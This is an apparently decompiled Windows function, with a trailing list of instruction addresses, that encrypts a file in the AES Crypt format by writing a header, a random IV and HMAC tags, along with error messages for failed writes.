				void* _t880;
				void* _t881;
				void* _t882;
				void* _t884;
				void* _t885;
				void* _t886;
				void* _t887;
				void* _t888;
				void* _t889;
				void* _t890;

				_t805 = __edx;
				_t503 =  *0x888288; // 0x8987487c
				_v8 = _t503 ^ _t866;
				_t860 = __imp__CryptAcquireContextW;
				_push(0xf0000000);
				_push(1);
				_push(0);
				_v1172 = _a4;
				_push(0);
				_push( &_v1164);
				_v1168 = __ecx;
				_v1180 = __edx;
				if( *_t860() != 0) {
					L6:
					_t806 =  &_v136;
					E0087E710( &_v136, 0, 0x30);
					_t868 = _t867 + 0xc;
					_v1160 = 0;
					do {
						__eflags = 0;
						_v40 = 0;
						_v36 = 0;
						_v32 = 0;
						_v28 = 0;
						_v24 = 0;
						_v20 = 0;
						_v16 = 0;
						_v12 = 0;
						_v628 = 0;
						_v624 = 0;
						_v620 = 0x6a09e667;
						_v616 = 0xbb67ae85;
						_v612 = 0x3c6ef372;
						_v608 = 0xa54ff53a;
						_v604 = 0x510e527f;
						_v600 = 0x9b05688c;
						_v596 = 0x1f83d9ab;
						_v592 = 0x5be0cd19;
						_v1156 = 0;
						while(1) {
							__eflags = CryptGenRandom(_v1164, 0x20,  &_v40);
							if(__eflags == 0) {
								break;
							}
							_t517 = _v628;
							_t860 = 0x20;
							_t720 = _t517 & 0x0000003f;
							_t518 = _t517 + 0x20;
							_t843 = 0x40 - _t720;
							_v1152 =  &_v40;
							_v628 = _t518;
							__eflags = _t518 - 0x20;
							if(_t518 < 0x20) {
								_t36 =  &_v624;
								 *_t36 = _v624 + 1;
								__eflags =  *_t36;
							}
							__eflags = _t720;
							if(_t720 == 0) {
								L18:
								_t806 = _v1152;
								E0087E790(_t866 + _t720 - 0x248, _v1152, _t860);
								_t868 = _t868 + 0xc;
							} else {
								__eflags = _t843 - _t860;
								if(_t843 > _t860) {
									goto L18;
								} else {
									E0087E790(_t866 + _t720 - 0x248,  &_v40, _t843);
									_t806 =  &_v628;
									E00875E90( &_v588,  &_v628);
									_t860 = _t860 - _t843;
									_t868 = _t868 + 0x10;
									_t720 = 0;
									_v1152 = _t866 + _t843 - 0x24;
									__eflags = _t860 - 0x40;
									if(_t860 >= 0x40) {
										_t859 = _v1152;
										_t708 = _t860 >> 6;
										__eflags = _t708;
										_v1176 = _t708;
										do {
											E00875E90(_t859,  &_v628);
											_t868 = _t868 + 4;
											_t860 = _t860 - 0x40;
											_t859 = _t859 + 0x40;
											_t49 =  &_v1176;
											 *_t49 = _v1176 - 1;
											__eflags =  *_t49;
										} while ( *_t49 != 0);
										_v1152 = _t859;
									}
									__eflags = _t860;
									if(_t860 != 0) {
										goto L18;
									}
								}
							}
							_t522 = _v1156 + 1;
							_v1156 = _t522;
							__eflags = _t522 - 0x100;
							if(_t522 < 0x100) {
								continue;
							} else {
								goto L20;
							}
							goto L133;
						}
						_push("Windows is unable to generate random digits");
						_t512 = E00878DA3();
						_t514 = E008795EB(_t720, _t843, _t860, __eflags);
						__eflags = _v8 ^ _t866;
						return E00878AD6(_t514 | 0xffffffff, _t720, _v8 ^ _t866, _t806, _t843, _t860, _t512 + 0x40);
						goto L133;
						L20:
						E00878680( &_v628,  &_v88);
						_t524 = _v1160;
						 *(_t866 + _t524 - 0x84) = _v88;
						_t806 = _v80;
						 *((intOrPtr*)(_t866 + _t524 - 0x80)) = _v84;
						 *((intOrPtr*)(_t866 + _t524 - 0x7c)) = _v80;
						 *((intOrPtr*)(_t866 + _t524 - 0x78)) = _v76;
						_t525 = _t524 + 0x10;
						_t868 = _t868 + 4;
						_v1160 = _t525;
						__eflags = _t525 - 0x30;
					} while (__eflags < 0);
					_t861 = _v1168;
					_push(_t861);
					_push(5);
					_t809 =  &_v40;
					_push(1);
					_push( &_v40);
					_v40 = 0x2534541;
					_v36 = 0;
					_t526 = E008798AF(_t720,  &_v40, _t843, _t861, __eflags);
					_t870 = _t868 + 0x10;
					__eflags = _t526 - 5;
					if(__eflags == 0) {
						_push(_t861);
						_push(2);
						_push(1);
						_push( &_v40);
						_v40 = 0x1800;
						_t527 = E008798AF(_t720,  &_v40, _t843, _t861, __eflags);
						_t871 = _t870 + 0x10;
						__eflags = _t527 - 2;
						if(_t527 == 2) {
							E00879260( &_v524, "CREATED_BY", 0xff);
							_push(_t861);
							_push(0xb);
							_push(1);
							_push( &_v524);
							_v269 = 0;
							_t530 = E008798AF(_t720, _t809, _t843, _t861, __eflags);
							_t872 = _t871 + 0x1c;
							__eflags = _t530 - 0xb;
							if(_t530 == 0xb) {
								_push("3.10");
								E00878AE5( &_v524, "%s %s", "aescrypt");
								_t533 =  &_v524;
								_t873 = _t872 + 0x10;
								_t810 = _t533 + 1;
								do {
									_t736 =  *_t533;
									_t533 = _t533 + 1;
									__eflags = _t736;
								} while (__eflags != 0);
								_push(_t861);
								_t843 = _t533 - _t810;
								_push(_t843);
								_push(1);
								_push( &_v524);
								_t535 = E008798AF(_t720, _t810, _t843, _t861, __eflags);
								_t872 = _t873 + 0x10;
								__eflags = _t535 - _t843;
								if(__eflags == 0) {
									_push(_t861);
									_push(2);
									_push(1);
									_push( &_v40);
									_v40 = 0x8000;
									_t537 = E008798AF(_t720, _t810, _t843, _t861, __eflags);
									_t874 = _t872 + 0x10;
									__eflags = _t537 - 2;
									if(__eflags == 0) {
										_t810 =  &_v524;
										E0087E710( &_v524, 0, 0x80);
										_push(_t861);
										_push(0x80);
										_push(1);
										_push( &_v524);
										_t540 = E008798AF(_t720,  &_v524, _t843, _t861, __eflags);
										_t874 = _t874 + 0x1c;
										__eflags = _t540 - 0x80;
										if(__eflags == 0) {
											_push(_t861);
											_push(2);
											_t811 =  &_v40;
											_push(1);
											_push( &_v40);
											_v40 = 0;
											_t541 = E008798AF(_t720,  &_v40, _t843, _t861, __eflags);
											_t870 = _t874 + 0x10;
											__eflags = _t541 - 2;
											if(_t541 == 2) {
												E00875E40( &_v628);
												_v1160 = 0;
												while(1) {
													__eflags = CryptGenRandom(_v1164, 0x20,  &_v40);
													if(__eflags == 0) {
														break;
													}
													_v1152 =  &_v40;
													_t552 = _v628;
													_t861 = 0x20;
													_t720 = _t552 & 0x0000003f;
													_t553 = _t552 + 0x20;
													_t843 = 0x40 - _t720;
													_v628 = _t553;
													__eflags = _t553 - 0x20;
													if(_t553 < 0x20) {
														_t106 =  &_v624;
														 *_t106 = _v624 + 1;
														__eflags =  *_t106;
													}
													__eflags = _t720;
													if(_t720 == 0) {
														L54:
														E0087E790(_t866 + _t720 - 0x248, _v1152, _t861);
														_t870 = _t870 + 0xc;
													} else {
														__eflags = _t843 - _t861;
														if(_t843 > _t861) {
															goto L54;
														} else {
															E0087E790(_t866 + _t720 - 0x248,  &_v40, _t843);
															E00875E90( &_v588,  &_v628);
															_t861 = _t861 - _t843;
															_t870 = _t870 + 0x10;
															_t796 = _t866 + _t843 - 0x24;
															_t720 = 0;
															_v1152 = _t796;
															__eflags = _t861 - 0x40;
															if(_t861 >= 0x40) {
																_t686 = _t861 >> 6;
																__eflags = _t686;
																_v1156 = _t686;
																_t858 = _t796;
																do {
																	E00875E90(_t858,  &_v628);
																	_t870 = _t870 + 4;
																	_t861 = _t861 - 0x40;
																	_t858 = _t858 + 0x40;
																	_t118 =  &_v1156;
																	 *_t118 = _v1156 - 1;
																	__eflags =  *_t118;
																} while ( *_t118 != 0);
																_v1152 = _t858;
															}
															__eflags = _t861;
															if(_t861 != 0) {
																goto L54;
															}
														}
													}
													_t557 = _v1160 + 1;
													_v1160 = _t557;
													__eflags = _t557 - 0x100;
													if(_t557 < 0x100) {
														continue;
													} else {
														E00878680( &_v628,  &_v88);
														_v52 = _v84;
														_t814 = _v1164;
														_t723 = 0;
														_v56 = _v88;
														_v48 = _v80;
														_v44 = _v76;
														CryptReleaseContext(_v1164, 0);
														_push(_v1168);
														_push(0x10);
														_push(1);
														_push( &_v56);
														_t563 = E008798AF(0, _v1164, _t843, _t861, __eflags);
														_t877 = _t870 + 0x14;
														__eflags = _t563 - 0x10;
														if(__eflags == 0) {
															_v88 = 0;
															_v84 = 0;
															_v80 = 0;
															_v76 = 0;
															_v72 = 0;
															_v68 = 0;
															_v64 = 0;
															_v60 = 0;
															_v88 = _v56;
															_v84 = _v52;
															_v80 = _v48;
															_v76 = _v44;
															_t847 = _a8 + _a8;
															__eflags = _t847;
															_v1156 = 0x2000;
															do {
																_v624 = _t723;
																_v620 = 0x6a09e667;
																_v616 = 0xbb67ae85;
																_v612 = 0x3c6ef372;
																_v608 = 0xa54ff53a;
																_v604 = 0x510e527f;
																_v600 = 0x9b05688c;
																_v596 = 0x1f83d9ab;
																_v592 = 0x5be0cd19;
																_v628 = 0x20;
																E0087E790( &_v588,  &_v88, 0x20);
																_t878 = _t877 + 0xc;
																__eflags = _t847 - _t723;
																if(_t847 != _t723) {
																	E008785E0(_t847,  &_v588,  &_v628, _v1180);
																	_t878 = _t878 + 4;
																}
																E00878680( &_v628,  &_v88);
																_t877 = _t878 + 4;
																_t175 =  &_v1156;
																 *_t175 = _v1156 - 1;
																__eflags =  *_t175;
															} while ( *_t175 != 0);
															E00871210( &_v1148,  &_v88);
															E0087E710( &_v204, 0x36, 0x40);
															E0087E710( &_v268, 0x5c, 0x40);
															_t879 = _t877 + 0x20;
															_t574 = 0;
															__eflags = 0;
															do {
																_t751 =  *((intOrPtr*)(_t866 + _t574 - 0x54));
																 *(_t866 + _t574 - 0xc8) =  *(_t866 + _t574 - 0xc8) ^ _t751;
																 *(_t866 + _t574 - 0x108) =  *(_t866 + _t574 - 0x108) ^ _t751;
																_t752 =  *((intOrPtr*)(_t866 + _t574 - 0x53));
																 *(_t866 + _t574 - 0xc7) =  *(_t866 + _t574 - 0xc7) ^ _t752;
																 *(_t866 + _t574 - 0x107) =  *(_t866 + _t574 - 0x107) ^ _t752;
																_t753 =  *((intOrPtr*)(_t866 + _t574 - 0x52));
																 *(_t866 + _t574 - 0xc6) =  *(_t866 + _t574 - 0xc6) ^ _t753;
																 *(_t866 + _t574 - 0x106) =  *(_t866 + _t574 - 0x106) ^ _t753;
																_t754 =  *((intOrPtr*)(_t866 + _t574 - 0x51));
																 *(_t866 + _t574 - 0xc5) =  *(_t866 + _t574 - 0xc5) ^ _t754;
																 *(_t866 + _t574 - 0x105) =  *(_t866 + _t574 - 0x105) ^ _t754;
																_t574 = _t574 + 4;
																__eflags = _t574 - 0x20;
															} while (_t574 < 0x20);
															_v624 = _t723;
															_v620 = 0x6a09e667;
															_v616 = 0xbb67ae85;
															_v612 = 0x3c6ef372;
															_v608 = 0xa54ff53a;
															_v604 = 0x510e527f;
															_v600 = 0x9b05688c;
															_v596 = 0x1f83d9ab;
															_v592 = 0x5be0cd19;
															_v628 = 0x40;
															E00875E90( &_v204,  &_v628);
															_t880 = _t879 + 4;
															_v1160 = _t723;
															do {
																_t577 = _v1160;
																_t578 = _t866 + _t577 - 0x84;
																_v40 =  *(_t866 + _t577 - 0x84);
																_v36 =  *((intOrPtr*)(_t866 + _t577 - 0x80));
																_v32 =  *((intOrPtr*)(_t578 + 8));
																_v28 =  *((intOrPtr*)(_t578 + 0xc));
																_t579 = 0;
																__eflags = 0;
																do {
																	 *(_t866 + _t579 - 0x24) =  *(_t866 + _t579 - 0x24) ^  *(_t866 + _t579 - 0x34);
																	_t579 = _t579 + 1;
																	__eflags = _t579 - 0x10;
																} while (_t579 < 0x10);
																_t848 =  &_v40;
																E008715B0(_t848, _t848,  &_v1148);
																_v1152 = _t848;
																_t583 = _v628;
																_t861 = 0x10;
																_t723 = _t583 & 0x0000003f;
																_t584 = _t583 + 0x10;
																_t881 = _t880 + 4;
																_t843 = 0x40 - _t723;
																_v628 = _t584;
																__eflags = _t584 - 0x10;
																if(_t584 < 0x10) {
																	_t258 =  &_v624;
																	 *_t258 = _v624 + 1;
																	__eflags =  *_t258;
																}
																__eflags = _t723;
																if(_t723 == 0) {
																	L78:
																	E0087E790(_t866 + _t723 - 0x248, _v1152, _t861);
																	_t882 = _t881 + 0xc;
																} else {
																	__eflags = _t843 - _t861;
																	if(_t843 > _t861) {
																		goto L78;
																	} else {
																		E0087E790(_t866 + _t723 - 0x248,  &_v40, _t843);
																		E00875E90( &_v588,  &_v628);
																		_t861 = _t861 - _t843;
																		_t882 = _t881 + 0x10;
																		_t794 = _t866 + _t843 - 0x24;
																		_t723 = 0;
																		_v1152 = _t794;
																		__eflags = _t861 - 0x40;
																		if(_t861 >= 0x40) {
																			_t676 = _t861 >> 6;
																			__eflags = _t676;
																			_v1156 = _t676;
																			_t857 = _t794;
																			do {
																				E00875E90(_t857,  &_v628);
																				_t882 = _t882 + 4;
																				_t861 = _t861 - 0x40;
																				_t857 = _t857 + 0x40;
																				_t270 =  &_v1156;
																				 *_t270 = _v1156 - 1;
																				__eflags =  *_t270;
																			} while ( *_t270 != 0);
																			_v1152 = _t857;
																		}
																		__eflags = _t861;
																		if(__eflags != 0) {
																			goto L78;
																		}
																	}
																}
																_t814 = _v1168;
																_push(_v1168);
																_push(0x10);
																_push(1);
																_push( &_v40);
																_t588 = E008798AF(_t723, _v1168, _t843, _t861, __eflags);
																_t880 = _t882 + 0x10;
																__eflags = _t588 - 0x10;
																if(__eflags != 0) {
																	_push("Error: Could not write iv_key data\n");
																	goto L58;
																} else {
																	goto L80;
																}
																goto L133;
																L80:
																_v48 = _v32;
																_t596 = _v1160 + 0x10;
																_v56 = _v40;
																_v52 = _v36;
																_v44 = _v28;
																_v1160 = _t596;
																__eflags = _t596 - 0x30;
															} while (_t596 < 0x30);
															E00878680( &_v628,  &_v88);
															_v624 = 0;
															_v620 = 0x6a09e667;
															_v616 = 0xbb67ae85;
															_v612 = 0x3c6ef372;
															_v608 = 0xa54ff53a;
															_v604 = 0x510e527f;
															_v600 = 0x9b05688c;
															_v596 = 0x1f83d9ab;
															_v592 = 0x5be0cd19;
															_v628 = 0x40;
															E00875E90( &_v268,  &_v628);
															_t601 = _v628;
															_t723 = 0x20;
															_t861 = _t601 & 0x0000003f;
															_t602 = _t601 + 0x20;
															_t884 = _t880 + 8;
															_t843 = 0x40 - _t861;
															_v1152 =  &_v88;
															_v628 = _t602;
															__eflags = _t602 - 0x20;
															if(_t602 < 0x20) {
																_t307 =  &_v624;
																 *_t307 = _v624 + 1;
																__eflags =  *_t307;
															}
															__eflags = _t861;
															if(_t861 == 0) {
																L90:
																E0087E790(_t866 + _t861 - 0x248, _v1152, _t723);
																_t885 = _t884 + 0xc;
															} else {
																__eflags = _t843 - _t723;
																if(_t843 > _t723) {
																	goto L90;
																} else {
																	E0087E790(_t866 + _t861 - 0x248,  &_v88, _t843);
																	E00875E90( &_v588,  &_v628);
																	_t723 = _t723 - _t843;
																	_t885 = _t884 + 0x10;
																	_t838 = _t866 + _t843 - 0x54;
																	_t861 = 0;
																	_v1152 = _t838;
																	__eflags = _t723 - 0x40;
																	if(_t723 >= 0x40) {
																		_t667 = _t723 >> 6;
																		__eflags = _t667;
																		_v1156 = _t667;
																		_t856 = _t838;
																		do {
																			E00875E90(_t856,  &_v628);
																			_t885 = _t885 + 4;
																			_t723 = _t723 - 0x40;
																			_t856 = _t856 + 0x40;
																			_t319 =  &_v1156;
																			 *_t319 = _v1156 - 1;
																			__eflags =  *_t319;
																		} while ( *_t319 != 0);
																		_v1152 = _t856;
																	}
																	__eflags = _t723;
																	if(_t723 != 0) {
																		goto L90;
																	}
																}
															}
															E00878680( &_v628,  &_v88);
															_push(_v1168);
															_push(0x20);
															_t814 =  &_v88;
															_push(1);
															_push( &_v88);
															_t606 = E008798AF(_t723,  &_v88, _t843, _t861, __eflags);
															_t880 = _t885 + 0x14;
															__eflags = _t606 - 0x20;
															if(__eflags == 0) {
																_v52 = _v132;
																_v48 = _v128;
																_v56 = _v136;
																_v44 = _v124;
																E00871210( &_v1148,  &_v120);
																E0087E710( &_v204, 0x36, 0x40);
																E0087E710( &_v268, 0x5c, 0x40);
																_t886 = _t880 + 0x20;
																_t613 = 0;
																__eflags = 0;
																do {
																	_t771 =  *((intOrPtr*)(_t866 + _t613 - 0x74));
																	 *(_t866 + _t613 - 0xc8) =  *(_t866 + _t613 - 0xc8) ^ _t771;
																	 *(_t866 + _t613 - 0x108) =  *(_t866 + _t613 - 0x108) ^ _t771;
																	_t772 =  *((intOrPtr*)(_t866 + _t613 - 0x73));
																	 *(_t866 + _t613 - 0xc7) =  *(_t866 + _t613 - 0xc7) ^ _t772;
																	 *(_t866 + _t613 - 0x107) =  *(_t866 + _t613 - 0x107) ^ _t772;
																	_t773 =  *((intOrPtr*)(_t866 + _t613 - 0x72));
																	 *(_t866 + _t613 - 0xc6) =  *(_t866 + _t613 - 0xc6) ^ _t773;
																	 *(_t866 + _t613 - 0x106) =  *(_t866 + _t613 - 0x106) ^ _t773;
																	_t774 =  *((intOrPtr*)(_t866 + _t613 - 0x71));
																	 *(_t866 + _t613 - 0xc5) =  *(_t866 + _t613 - 0xc5) ^ _t774;
																	 *(_t866 + _t613 - 0x105) =  *(_t866 + _t613 - 0x105) ^ _t774;
																	_t613 = _t613 + 4;
																	__eflags = _t613 - 0x20;
																} while (_t613 < 0x20);
																_t814 =  &_v628;
																_v624 = 0;
																_v620 = 0x6a09e667;
																_v616 = 0xbb67ae85;
																_v612 = 0x3c6ef372;
																_v608 = 0xa54ff53a;
																_v604 = 0x510e527f;
																_v600 = 0x9b05688c;
																_v596 = 0x1f83d9ab;
																_v592 = 0x5be0cd19;
																_v628 = 0x40;
																E00875E90( &_v204,  &_v628);
																_t723 = 0;
																_t617 = E008795CE( &_v40, 1, 0x10, _v1172);
																_t880 = _t886 + 0x14;
																_v1160 = _t617;
																__eflags = _t617;
																if(__eflags <= 0) {
																	L113:
																	if(__eflags >= 0) {
																		_push(_v1168);
																		_push(1);
																		_t814 =  &_v40;
																		_push(1);
																		_t723 = _t723 & 0x0000000f;
																		_push( &_v40);
																		_v40 = _t723;
																		_t618 = E008798AF(_t723,  &_v40, _t843, _t861, __eflags);
																		_t880 = _t880 + 0x10;
																		__eflags = _t618 - 1;
																		if(__eflags == 0) {
																			E00878680( &_v628,  &_v88);
																			_v624 = 0;
																			_v620 = 0x6a09e667;
																			_v616 = 0xbb67ae85;
																			_v612 = 0x3c6ef372;
																			_v608 = 0xa54ff53a;
																			_v604 = 0x510e527f;
																			_v600 = 0x9b05688c;
																			_v596 = 0x1f83d9ab;
																			_v592 = 0x5be0cd19;
																			_v628 = 0x40;
																			E00875E90( &_v268,  &_v628);
																			_t623 = _v628;
																			_t723 = 0x20;
																			_t865 = _t623 & 0x0000003f;
																			_t624 = _t623 + 0x20;
																			_t887 = _t880 + 8;
																			_t843 = 0x40 - _t865;
																			_v1152 =  &_v88;
																			_v628 = _t624;
																			__eflags = _t624 - 0x20;
																			if(_t624 < 0x20) {
																				_t479 =  &_v624;
																				 *_t479 = _v624 + 1;
																				__eflags =  *_t479;
																			}
																			__eflags = _t865;
																			if(_t865 == 0) {
																				L127:
																				E0087E790(_t866 + _t865 - 0x248, _v1152, _t723);
																				_t888 = _t887 + 0xc;
																			} else {
																				__eflags = _t843 - _t723;
																				if(_t843 > _t723) {
																					goto L127;
																				} else {
																					E0087E790(_t866 + _t865 - 0x248,  &_v88, _t843);
																					E00875E90( &_v588,  &_v628);
																					_t723 = _t723 - _t843;
																					_t888 = _t887 + 0x10;
																					_t865 = 0;
																					_v1152 = _t866 + _t843 - 0x54;
																					__eflags = _t723 - 0x40;
																					if(_t723 >= 0x40) {
																						_t852 = _v1152;
																						_t638 = _t723 >> 6;
																						__eflags = _t638;
																						_v1172 = _t638;
																						do {
																							E00875E90(_t852,  &_v628);
																							_t888 = _t888 + 4;
																							_t723 = _t723 - 0x40;
																							_t852 = _t852 + 0x40;
																							_t492 =  &_v1172;
																							 *_t492 = _v1172 - 1;
																							__eflags =  *_t492;
																						} while ( *_t492 != 0);
																						_v1152 = _t852;
																					}
																					__eflags = _t723;
																					if(_t723 != 0) {
																						goto L127;
																					}
																				}
																			}
																			E00878680( &_v628,  &_v88);
																			_t861 = _v1168;
																			_push(_t861);
																			_push(0x20);
																			_t814 =  &_v88;
																			_push(1);
																			_push( &_v88);
																			_t628 = E008798AF(_t723,  &_v88, _t843, _t861, __eflags);
																			_t880 = _t888 + 0x14;
																			__eflags = _t628 - 0x20;
																			if(__eflags == 0) {
																				_push(_t861);
																				_t629 = E0087912E(_t723,  &_v88, _t843, _t861, __eflags);
																				_t880 = _t880 + 4;
																				__eflags = _t629;
																				if(__eflags == 0) {
																					__eflags = 0;
																					return E00878AD6(0, _t723, _v8 ^ _t866, _t814, _t843, _t861);
																				} else {
																					_push("Error: Could not flush output file buffer\n");
																					goto L58;
																				}
																			} else {
																				_push("Error: Could not write the file HMAC\n");
																				goto L58;
																			}
																		} else {
																			_push("Error: Could not write the file size modulo\n");
																			goto L58;
																		}
																	} else {
																		_push("Error: Couldn\'t read input file\n");
																		goto L58;
																	}
																} else {
																	do {
																		_t641 = 0;
																		__eflags = 0;
																		do {
																			 *(_t866 + _t641 - 0x24) =  *(_t866 + _t641 - 0x24) ^  *(_t866 + _t641 - 0x34) & 0x000000ff;
																			 *(_t866 + _t641 - 0x23) =  *(_t866 + _t641 - 0x23) ^  *(_t866 + _t641 - 0x33) & 0x000000ff;
																			 *(_t866 + _t641 - 0x22) =  *(_t866 + _t641 - 0x22) ^  *(_t866 + _t641 - 0x32) & 0x000000ff;
																			 *(_t866 + _t641 - 0x21) =  *(_t866 + _t641 - 0x21) ^  *(_t866 + _t641 - 0x31) & 0x000000ff;
																			_t641 = _t641 + 4;
																			__eflags = _t641 - 0x10;
																		} while (_t641 < 0x10);
																		_t853 =  &_v40;
																		E008715B0(_t853, _t853,  &_v1148);
																		_v1152 = _t853;
																		_t645 = _v628;
																		_t861 = 0x10;
																		_t723 = _t645 & 0x0000003f;
																		_t646 = _t645 + 0x10;
																		_t889 = _t880 + 4;
																		_t843 = 0x40 - _t723;
																		_v628 = _t646;
																		__eflags = _t646 - 0x10;
																		if(_t646 < 0x10) {
																			_t425 =  &_v624;
																			 *_t425 = _v624 + 1;
																			__eflags =  *_t425;
																		}
																		__eflags = _t723;
																		if(_t723 == 0) {
																			L109:
																			E0087E790(_t866 + _t723 - 0x248, _v1152, _t861);
																			_t890 = _t889 + 0xc;
																		} else {
																			__eflags = _t843 - _t861;
																			if(_t843 > _t861) {
																				goto L109;
																			} else {
																				E0087E790(_t866 + _t723 - 0x248,  &_v40, _t843);
																				E00875E90( &_v588,  &_v628);
																				_t861 = _t861 - _t843;
																				_t890 = _t889 + 0x10;
																				_t791 = _t866 + _t843 - 0x24;
																				_t723 = 0;
																				_v1152 = _t791;
																				__eflags = _t861 - 0x40;
																				if(_t861 >= 0x40) {
																					_t659 = _t861 >> 6;
																					__eflags = _t659;
																					_v1156 = _t659;
																					_t855 = _t791;
																					do {
																						E00875E90(_t855,  &_v628);
																						_t890 = _t890 + 4;
																						_t861 = _t861 - 0x40;
																						_t855 = _t855 + 0x40;
																						_t437 =  &_v1156;
																						 *_t437 = _v1156 - 1;
																						__eflags =  *_t437;
																					} while ( *_t437 != 0);
																					_v1152 = _t855;
																				}
																				__eflags = _t861;
																				if(__eflags != 0) {
																					goto L109;
																				}
																			}
																		}
																		_t814 = _v1168;
																		_push(_v1168);
																		_push(0x10);
																		_push(1);
																		_push( &_v40);
																		_t650 = E008798AF(_t723, _v1168, _t843, _t861, __eflags);
																		_t880 = _t890 + 0x10;
																		__eflags = _t650 - 0x10;
																		if(__eflags != 0) {
																			_push("Error: Could not write to output file\n");
																			goto L58;
																		} else {
																			goto L111;
																		}
																		goto L133;
																		L111:
																		_t723 = _v1160;
																		_v52 = _v36;
																		_t814 = _v1172;
																		_v48 = _v32;
																		_v56 = _v40;
																		_v44 = _v28;
																		_t653 = E008795CE( &_v40, 1, 0x10, _v1172);
																		_t880 = _t880 + 0x10;
																		_v1160 = _t653;
																		__eflags = _t653;
																	} while (_t653 > 0);
																	__eflags = _t653;
																	goto L113;
																}
															} else {
																_push("Error: Could not write iv_key HMAC\n");
																goto L58;
															}
														} else {
															_push("Error: Could not write out initialization vector\n");
															L58:
															_t589 = E00878DA3();
															_t591 = E008795EB(_t723, _t843, _t861, __eflags);
															__eflags = _v8 ^ _t866;
															return E00878AD6(_t591 | 0xffffffff, _t723, _v8 ^ _t866, _t814, _t843, _t861, _t589 + 0x40);
														}
													}
													goto L133;
												}
												_push("Windows is unable to generate random digits");
												_push(E00878DA3() + 0x40);
												E008795EB(_t720, _t843, _t861, __eflags);
												_t811 = _v1164;
												_push(0);
												_push(_v1164);
												goto L24;
											} else {
												_push("Error: Could not write tag to AES file (6)\n");
												goto L23;
											}
										} else {
											_push("Error: Could not write tag to AES file (5)\n");
											goto L38;
										}
									} else {
										_push("Error: Could not write tag to AES file (4)\n");
										L38:
										_push(E00878DA3() + 0x40);
										E008795EB(_t720, _t843, _t861, __eflags);
										_push(0);
										_push(_v1164);
										goto L29;
									}
								} else {
									_push("Error: Could not write tag to AES file (3)\n");
									goto L28;
								}
							} else {
								_push("Error: Could not write tag to AES file (2)\n");
								goto L28;
							}
						} else {
							_push("Error: Could not write tag to AES file (1)\n");
							L28:
							_t700 = E00878DA3() + 0x40;
							__eflags = _t700;
							_push(_t700);
							E008795EB(_t720, _t843, _t861, _t700);
							_t810 = _v1164;
							_push(0);
							_push(_v1164);
							L29:
							_t696 = CryptReleaseContext();
							__eflags = _v8 ^ _t866;
							return E00878AD6(_t696 | 0xffffffff, _t720, _v8 ^ _t866, _t810, _t843, _t861);
						}
					} else {
						_push("Error: Could not write out header data\n");
						L23:
						_t690 = E00878DA3() + 0x40;
						__eflags = _t690;
						_push(_t690);
						E008795EB(_t720, _t843, _t861, _t690);
						_push(0);
						_push(_v1164);
						L24:
						_t548 = CryptReleaseContext();
						__eflags = _v8 ^ _t866;
						return E00878AD6(_t548 | 0xffffffff, _t720, _v8 ^ _t866, _t811, _t843, _t861);
					}
				} else {
					_t720 = GetLastError;
					_t843 = GetLastError();
					if(GetLastError() != 0x80090016) {
						L4:
						_t898 = _t843;
						if(_t843 == 0) {
							goto L6;
						} else {
							_push("Could not acquire handle to crypto context");
							_t713 = E00878DA3();
							return E00878AD6(E008795EB(_t720, _t843, _t860, _t898) | 0xffffffff, _t720, _v8 ^ _t866, _t805, _t843, _t860, _t713 + 0x40);
						}
					} else {
						_push(0xf0000008);
						_push(1);
						_push(0);
						_push(0);
						_push( &_v1164);
						if( *_t860() != 0) {
							goto L6;
						} else {
							_t843 = GetLastError();
							goto L4;
						}
					}
				}
				L133:
			}

0x008733e0
0x008733e9
0x008733f0
0x008733f8
0x008733ff
0x00873404
0x00873406
0x00873408
0x0087340e
0x00873416
0x00873417
0x0087341d
0x00873427
0x00873486
0x00873488
0x00873491
0x00873496
0x00873499
0x008734a3
0x008734a3
0x008734a5
0x008734a8
0x008734ab
0x008734ae
0x008734b1
0x008734b4
0x008734b7
0x008734ba
0x008734bd
0x008734c3
0x008734c9
0x008734d3
0x008734dd
0x008734e7
0x008734f1
0x008734fb
0x00873505
0x0087350f
0x00873519
0x0087351f
0x00873532
0x00873534
0x00000000
0x00000000
0x0087353a
0x00873542
0x00873547
0x0087354f
0x00873554
0x00873556
0x0087355c
0x00873562
0x00873564
0x00873566
0x00873566
0x00873566
0x00873566
0x0087356c
0x0087356e
0x008735e9
0x008735e9
0x008735f9
0x008735fe
0x00873570
0x00873570
0x00873572
0x00000000
0x00873574
0x00873581
0x00873586
0x00873593
0x00873598
0x0087359a
0x008735a1
0x008735a3
0x008735a9
0x008735ac
0x008735ae
0x008735b6
0x008735b6
0x008735b9
0x008735c0
0x008735c9
0x008735ce
0x008735d1
0x008735d4
0x008735d7
0x008735d7
0x008735d7
0x008735d7
0x008735df
0x008735df
0x008735e5
0x008735e7
0x00000000
0x00000000
0x008735e7
0x00873572
0x00873607
0x00873608
0x0087360e
0x00873613
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00873613
0x008736c2
0x008736c7
0x008736d0
0x008736e1
0x008736eb
0x00000000
0x00873619
0x00873623
0x00873628
0x00873634
0x0087363b
0x0087363e
0x00873645
0x00873649
0x0087364d
0x00873650
0x00873653
0x00873659
0x00873659
0x00873662
0x00873668
0x00873669
0x0087366b
0x0087366e
0x00873670
0x00873671
0x00873678
0x0087367c
0x00873681
0x00873684
0x00873687
0x008736ec
0x008736ed
0x008736f2
0x008736f4
0x008736f5
0x008736fb
0x00873700
0x00873703
0x00873706
0x00873752
0x00873757
0x00873758
0x00873760
0x00873762
0x00873763
0x0087376a
0x0087376f
0x00873772
0x00873775
0x0087377e
0x00873794
0x00873799
0x0087379f
0x008737a2
0x008737a5
0x008737a5
0x008737a7
0x008737a8
0x008737a8
0x008737ae
0x008737af
0x008737b1
0x008737b8
0x008737ba
0x008737bb
0x008737c0
0x008737c3
0x008737c5
0x008737d1
0x008737d2
0x008737d7
0x008737d9
0x008737da
0x008737e0
0x008737e5
0x008737e8
0x008737eb
0x00873816
0x0087381f
0x00873824
0x00873825
0x00873830
0x00873832
0x00873833
0x00873838
0x0087383b
0x00873840
0x00873849
0x0087384a
0x0087384c
0x0087384f
0x00873851
0x00873852
0x00873858
0x0087385d
0x00873860
0x00873863
0x00873875
0x0087387a
0x00873884
0x00873897
0x00873899
0x00000000
0x00000000
0x008738a2
0x008738a8
0x008738b0
0x008738b5
0x008738bd
0x008738bf
0x008738c1
0x008738c7
0x008738c9
0x008738cb
0x008738cb
0x008738cb
0x008738cb
0x008738d1
0x008738d3
0x00873949
0x00873959
0x0087395e
0x008738d5
0x008738d5
0x008738d7
0x00000000
0x008738d9
0x008738e6
0x008738f8
0x008738fd
0x008738ff
0x00873902
0x00873906
0x00873908
